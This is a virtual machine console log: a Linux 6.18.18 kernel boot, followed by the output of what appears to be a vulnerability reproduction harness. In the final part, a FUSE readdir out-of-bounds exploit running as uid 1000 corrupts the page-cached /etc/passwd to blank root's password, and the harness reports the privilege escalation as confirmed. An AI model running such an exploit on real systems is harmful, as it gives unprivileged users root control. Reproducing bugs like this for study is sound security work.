c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+2EFC8B80+2EF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 6.18.18 (vscode@e35a0ac465dd) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 18:04:13 UTC 2026 [ 0.000000] Command line: console=ttyS0 root=/dev/vda ro init=/init panic=1 [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000002ffdcfff] usable [ 0.000000] BIOS-e820: [mem 0x000000002ffdd000-0x000000002fffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.062 MHz processor [ 0.005978] last_pfn = 0x2ffdd max_arch_pfn = 0x400000000 [ 0.006420] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.006530] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.016950] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.021013] ACPI: Early table checksum verification disabled [ 0.021314] ACPI: RSDP 0x00000000000F5270 000014 (v00 BOCHS ) [ 0.021496] ACPI: RSDT 0x000000002FFE233B 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.021970] ACPI: FACP 0x000000002FFE21EF 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022408] ACPI: DSDT 0x000000002FFE0040 0021AF (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022459] ACPI: FACS 0x000000002FFE0000 000040 [ 0.022491] ACPI: APIC 0x000000002FFE2263 000078 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022501] ACPI: HPET 0x000000002FFE22DB 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022511] ACPI: WAET 0x000000002FFE2313 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022565] ACPI: Reserving FACP table memory at [mem 0x2ffe21ef-0x2ffe2262] [ 0.022585] ACPI: Reserving DSDT table memory at [mem 0x2ffe0040-0x2ffe21ee] [ 0.022589] ACPI: Reserving FACS table memory at [mem 0x2ffe0000-0x2ffe003f] [ 0.022592] ACPI: Reserving APIC table memory at [mem 0x2ffe2263-0x2ffe22da] [ 0.022594] ACPI: Reserving HPET table memory at [mem 0x2ffe22db-0x2ffe2312] [ 0.022597] ACPI: Reserving WAET table memory at [mem 0x2ffe2313-0x2ffe233a] [ 0.024143] No NUMA configuration found [ 0.024162] Faking a node at [mem 0x0000000000000000-0x000000002ffdcfff] [ 0.024577] NODE_DATA(0) allocated [mem 0x2ffd9900-0x2ffdcfff] [ 0.025931] Zone ranges: [ 0.025948] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.025997] DMA32 [mem 0x0000000001000000-0x000000002ffdcfff] [ 0.026002] Normal empty [ 0.026012] Movable zone start for each node [ 0.026030] Early memory node ranges [ 0.026047] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.026190] node 0: [mem 0x0000000000100000-0x000000002ffdcfff] [ 0.026278] Initmem setup node 0 [mem 0x0000000000001000-0x000000002ffdcfff] [ 0.026995] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.027264] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.035740] On node 0, zone DMA32: 35 pages in unavailable ranges [ 0.036070] ACPI: PM-Timer IO Port: 0x608 [ 0.036383] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.036640] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.036715] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.036914] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.036943] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.037001] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.037005] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.037175] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.037238] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.037493] CPU topo: Max. logical packages: 1 [ 0.037500] CPU topo: Max. logical dies: 1 [ 0.037506] CPU topo: Max. dies per package: 1 [ 0.037543] CPU topo: Max. threads per core: 1 [ 0.037644] CPU topo: Num. cores per package: 1 [ 0.037653] CPU topo: Num. threads per package: 1 [ 0.037658] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs [ 0.038284] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.038303] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.038371] [mem 0x30000000-0xfffbffff] available for PCI devices [ 0.038404] Booting paravirtualized kernel on bare hardware [ 0.038699] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.046883] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1 [ 0.048449] percpu: Embedded 52 pages/cpu s172824 r8192 d31976 u2097152 [ 0.049779] Kernel command line: console=ttyS0 root=/dev/vda ro init=/init panic=1 [ 0.050652] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.050947] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes, linear) [ 0.051067] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 0.053257] Fallback order for Node 0: 0 [ 0.053449] Built 1 zonelists, mobility grouping on. Total pages: 196475 [ 0.053459] Policy zone: DMA32 [ 0.053614] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 0.059495] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 0.068617] Dynamic Preempt: voluntary [ 0.071095] rcu: Preemptible hierarchical RCU implementation. [ 0.071108] rcu: RCU event tracing is enabled. [ 0.071128] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1. [ 0.071225] Trampoline variant of Tasks RCU enabled. [ 0.071230] Tracing variant of Tasks RCU enabled. [ 0.071305] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 0.071324] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1 [ 0.072155] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 0.072173] RCU Tasks Trace: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 0.086744] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16 [ 0.093454] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 0.097977] Console: colour VGA+ 80x25 [ 0.099385] printk: legacy console [ttyS0] enabled [ 0.112852] ACPI: Core revision 20250807 [ 0.117132] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 0.120544] APIC: Switch to symmetric I/O mode setup [ 0.124007] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 0.130351] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3e800c180, max_idle_ns: 440795345743 ns [ 0.130879] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.12 BogoMIPS (lpj=3000062) [ 0.133843] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 0.133987] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 0.134255] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 0.134789] Spectre V2 : Mitigation: Retpolines [ 0.135058] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 0.135313] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 0.136087] x86/fpu: x87 FPU will use FXSAVE [ 0.367940] Freeing SMP alternatives memory: 52K [ 0.368884] pid_max: default: 32768 minimum: 301 [ 0.374258] LSM: initializing lsm=capability,selinux [ 0.375705] SELinux: Initializing. [ 0.380073] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes, linear) [ 0.380293] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes, linear) [ 0.502669] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 0.509810] Performance Events: PMU not available due to virtualization, using software events only. [ 0.511054] signal: max sigframe size: 1440 [ 0.512504] rcu: Hierarchical SRCU implementation. [ 0.512715] rcu: Max phase no-delay instances is 400. [ 0.515798] smp: Bringing up secondary CPUs ... [ 0.517086] smp: Brought up 1 node, 1 CPU [ 0.517283] smpboot: Total of 1 processors activated (6000.12 BogoMIPS) [ 0.524110] Memory: 726724K/785900K available (18959K kernel code, 2901K rwdata, 7444K rodata, 2816K init, 952K bss, 55704K reserved, 0K cma-reserved) [ 0.531249] devtmpfs: initialized [ 0.538961] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 0.539553] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear) [ 0.539944] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear). [ 0.542744] PM: RTC time: 18:05:24, date: 2026-07-03 [ 0.546513] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 0.549615] audit: initializing netlink subsys (disabled) [ 0.551201] audit: type=2000 audit(1783101923.431:1): state=initialized audit_enabled=0 res=1 [ 0.554779] thermal_sys: Registered thermal governor 'step_wise' [ 0.555064] cpuidle: using governor menu [ 0.557803] PCI: Using configuration type 1 for base access [ 0.559758] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 0.563794] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 0.563967] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 0.572268] ACPI: Added _OSI(Module Device) [ 0.572384] ACPI: Added _OSI(Processor Device) [ 0.572669] ACPI: Added _OSI(Processor Aggregator Device) [ 0.604772] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 0.633224] ACPI: Interpreter enabled [ 0.635057] ACPI: PM: (supports S0 S3 S4 S5) [ 0.635232] ACPI: Using IOAPIC for interrupt routing [ 0.635625] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 0.635718] PCI: Using E820 reservations for host bridge windows [ 0.642161] ACPI: Enabled 2 GPEs in block 00 to 0F [ 0.695958] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 0.696691] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 0.696949] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 0.697715] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 0.704057] PCI host bridge to bus 0000:00 [ 0.704361] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 0.704617] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 0.704705] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 0.705687] pci_bus 0000:00: root bus resource [mem 0x30000000-0xfebfffff window] [ 0.705835] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window] [ 0.706117] pci_bus 0000:00: root bus resource [bus 00-ff] [ 0.707227] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 0.714309] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 0.714944] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 0.715556] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 0.715743] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 0.715894] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 0.716028] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 0.716200] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 0.721684] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 0.722092] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 0.722303] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 0.722894] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 0.723526] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 0.723694] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 0.723854] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 0.724206] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 0.729790] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 0.730427] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 0.730592] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 0.730719] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 0.739149] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 0.739705] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 0.739838] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 0.740019] pci 0000:00:04.0: BAR 4 [mem 0xfe000000-0xfe003fff 64bit pref] [ 0.752501] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 0.753248] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 0.755547] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 0.756121] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 0.760825] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 0.764130] iommu: Default domain type: Translated [ 0.764262] iommu: DMA domain TLB invalidation policy: lazy mode [ 0.770352] SCSI subsystem initialized [ 0.771951] ACPI: bus type USB registered [ 0.772374] usbcore: registered new interface driver usbfs [ 0.772857] usbcore: registered new interface driver hub [ 0.773050] usbcore: registered new device driver usb [ 0.773410] pps_core: LinuxPPS API ver. 1 registered [ 0.773544] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 0.777403] PTP clock support registered [ 0.778902] Advanced Linux Sound Architecture Driver Initialized. [ 0.791085] NetLabel: Initializing [ 0.791218] NetLabel: domain hash size = 128 [ 0.791312] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 0.792106] NetLabel: unlabeled traffic allowed by default [ 0.804138] PCI: Using ACPI for IRQ routing [ 0.806279] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 0.806566] pci 0000:00:02.0: vgaarb: bridge control possible [ 0.806669] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 0.806702] vgaarb: loaded [ 0.811329] hpet: 3 channels of 0 reserved for per-cpu timers [ 0.811784] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 0.811964] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 0.821426] clocksource: Switched to clocksource tsc-early [ 0.828526] VFS: Disk quotas dquot_6.6.0 [ 0.828759] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 0.830937] pnp: PnP ACPI init [ 0.839296] pnp: PnP ACPI: found 6 devices [ 0.877670] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 0.882192] NET: Registered PF_INET protocol family [ 0.883172] IP idents hash table entries: 16384 (order: 5, 131072 bytes, linear) [ 0.891278] tcp_listen_portaddr_hash hash table entries: 512 (order: 1, 8192 bytes, linear) [ 0.891493] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 0.891799] TCP established hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 0.892178] TCP bind hash table entries: 8192 (order: 6, 262144 bytes, linear) [ 0.892501] TCP: Hash tables configured (established 8192 bind 8192) [ 0.896289] UDP hash table entries: 512 (order: 3, 32768 bytes, linear) [ 0.896567] UDP-Lite hash table entries: 512 (order: 3, 32768 bytes, linear) [ 0.901407] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 0.902872] RPC: Registered named UNIX socket transport module. [ 0.903064] RPC: Registered udp transport module. [ 0.903353] RPC: Registered tcp transport module. [ 0.903453] RPC: Registered tcp-with-tls transport module. [ 0.903555] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 0.909423] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 0.909596] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 0.909742] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 0.909871] pci_bus 0000:00: resource 7 [mem 0x30000000-0xfebfffff window] [ 0.910139] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window] [ 0.917364] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 0.917550] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 0.917901] PCI: CLS 0 bytes, default 64 [ 1.091454] Initialise system trusted keyrings [ 1.094090] workingset: timestamp_bits=56 max_order=18 bucket_order=0 [ 1.096826] NFS: Registering the id_resolver key type [ 1.097237] Key type id_resolver registered [ 1.097342] Key type id_legacy registered [ 1.098031] 9p: Installing v9fs 9p2000 file system support [ 1.139226] Key type asymmetric registered [ 1.139394] Asymmetric key parser 'x509' registered [ 1.139765] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 1.140412] io scheduler mq-deadline registered [ 1.140550] io scheduler kyber registered [ 1.142662] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 1.145797] ACPI: button: Power Button [PWRF] [ 1.156565] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 1.160204] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 1.163371] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 1.167545] Non-volatile memory driver v1.3 [ 1.167728] Linux agpgart interface v0.103 [ 1.168808] ACPI: bus type drm_connector registered [ 1.180804] loop: module loaded [ 1.181639] virtio_blk virtio0: 1/0/0 default/read/poll queues [ 1.188195] virtio_blk virtio0: [vda] 65536 512-byte logical blocks (33.6 MB/32.0 MiB) [ 1.204180] scsi host0: ata_piix [ 1.205319] scsi host1: ata_piix [ 1.205697] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 1.205960] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 1.210238] e100: Intel(R) PRO/100 Network Driver [ 1.210374] e100: Copyright(c) 1999-2006 Intel Corporation [ 1.210522] e1000: Intel(R) PRO/1000 Network Driver [ 1.210653] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 1.215175] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 1.360320] ata2: found unknown device (class 0) [ 1.369123] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 1.383379] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 1.413965] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 1.414251] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 1.428134] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 1.521420] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 1.521938] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 1.522456] e1000e: Intel(R) PRO/1000 Network Driver [ 1.522558] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 1.522793] sky2: driver version 1.30 [ 1.524341] usbcore: registered new interface driver usblp [ 1.524538] usbcore: registered new interface driver usb-storage [ 1.525241] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 1.527611] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 1.527900] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 1.530451] rtc_cmos 00:05: RTC can wake from S4 [ 1.532177] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 1.534221] rtc_cmos 00:05: registered as rtc0 [ 1.534915] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 1.537619] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 1.538973] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 1.539286] hid: raw HID events driver (C) Jiri Kosina [ 1.540460] usbcore: registered new interface driver usbhid [ 1.540608] usbhid: USB HID core driver [ 1.545297] Initializing XFRM netlink socket [ 1.545634] NET: Registered PF_INET6 protocol family [ 1.551543] Segment Routing with IPv6 [ 1.551892] In-situ OAM (IOAM) with IPv6 [ 1.552736] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 1.554558] NET: Registered PF_PACKET protocol family [ 1.555578] 9pnet: Installing 9P2000 support [ 1.555951] Key type dns_resolver registered [ 1.557392] IPI shorthand broadcast: enabled [ 1.574648] sched_clock: Marking stable (1548039686, 25799929)->(1598030103, -24190488) [ 1.576390] registered taskstats version 1 [ 1.576514] Loading compiled-in X.509 certificates [ 1.585046] Demotion targets for Node 0: null [ 1.587228] PM: Magic number: 2:653:88 [ 1.587504] netconsole: network logging started [ 1.588325] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 1.594194] kworker/u4:0 (51) used greatest stack depth: 15032 bytes left [ 1.600894] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 1.601404] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 1.603312] ALSA device list: [ 1.603529] No soundcards found. [ 1.605035] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 1.605344] cfg80211: failed to load regulatory.db [ 1.609075] check access for rdinit=/init failed: -2, ignoring [ 1.944563] tsc: Refined TSC clocksource calibration: 3000.107 MHz [ 1.945503] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eaa81f4a, max_idle_ns: 440795307447 ns [ 1.945942] clocksource: Switched to clocksource tsc [ 1.953501] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 1.955505] md: Waiting for all devices to be available before autodetect [ 1.955785] md: If you don't use raid, use raid=noautodetect [ 1.956149] md: Autodetecting RAID arrays. [ 1.956273] md: autorun ... [ 1.956347] md: ... autorun DONE. [ 1.988967] EXT4-fs (vda): orphan cleanup on readonly fs [ 1.989584] EXT4-fs (vda): mounted filesystem 1f5aeb1d-1abd-4f8c-9ed0-22d2587803d7 ro with ordered data mode. Quota mode: none. [ 1.990441] VFS: Mounted root (ext4 filesystem) readonly on device 253:0. [ 1.991941] devtmpfs: mounted [ 2.029336] Freeing unused kernel image (initmem) memory: 2816K [ 2.029642] Write protecting the kernel read-only data: 28672k [ 2.031137] Freeing unused kernel image (text/rodata gap) memory: 1520K [ 2.031646] Freeing unused kernel image (rodata/data gap) memory: 748K [ 2.140721] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 2.141148] Run /init as init process [ 2.221482] busybox (56) used greatest stack depth: 13992 bytes left mount: mounting devtmpfs on /dev failed: Device or resource busy [ 2.266128] fuse: init (API version 7.45) [ 2.269008] busybox (61) used greatest stack depth: 13544 bytes left INIT_KERNEL=6.18.18 INIT_BEFORE=root:x:0:0:root:/root:/bin/sh [drain] MemFree=699MB -> drain=69 blocks (69MB) === FUSE readdir OOB - LPE === === drain 69MB + pool 128 === [+] FUSE at /tmp/fuse_oob_mHTPVH (mounted by privileged harness) [+] Dropping to uid/gid 1000 before attacker-controlled READDIR and target corruption [+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd [+] Direct write check as uid 1000: Read-only file system [+] target passwd backed up (71 bytes) --- Warmup --- [*] W1/5 ... HIT (1) [*] W2/5 ... miss [*] W3/5 ... HIT (2) [*] W4/5 ... HIT (3) [*] W5/5 ... miss [+] Warmup: 3/5 (60%) --- LPE --- [+] before: root:x:0:0:root:/root:/bin/sh [*] LPE 1/200 ... [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.: HIT! [+] Page cache corrupted ======================================== [+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd [+] target first line after overflow: root::0:0:x:.: [+] An unprivileged process changed the cached contents of a root-owned passwd file without write permission. ======================================== [ 3.044799] fuse_passwd_lpe (64) used greatest stack depth: 12952 bytes left INIT_EXPLOIT_RC=0 INIT_AFTER=root::0:0:x:.: INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED [ 3.063023] ACPI: PM: Preparing to enter system sleep state S5 [ 3.063584] reboot: Power down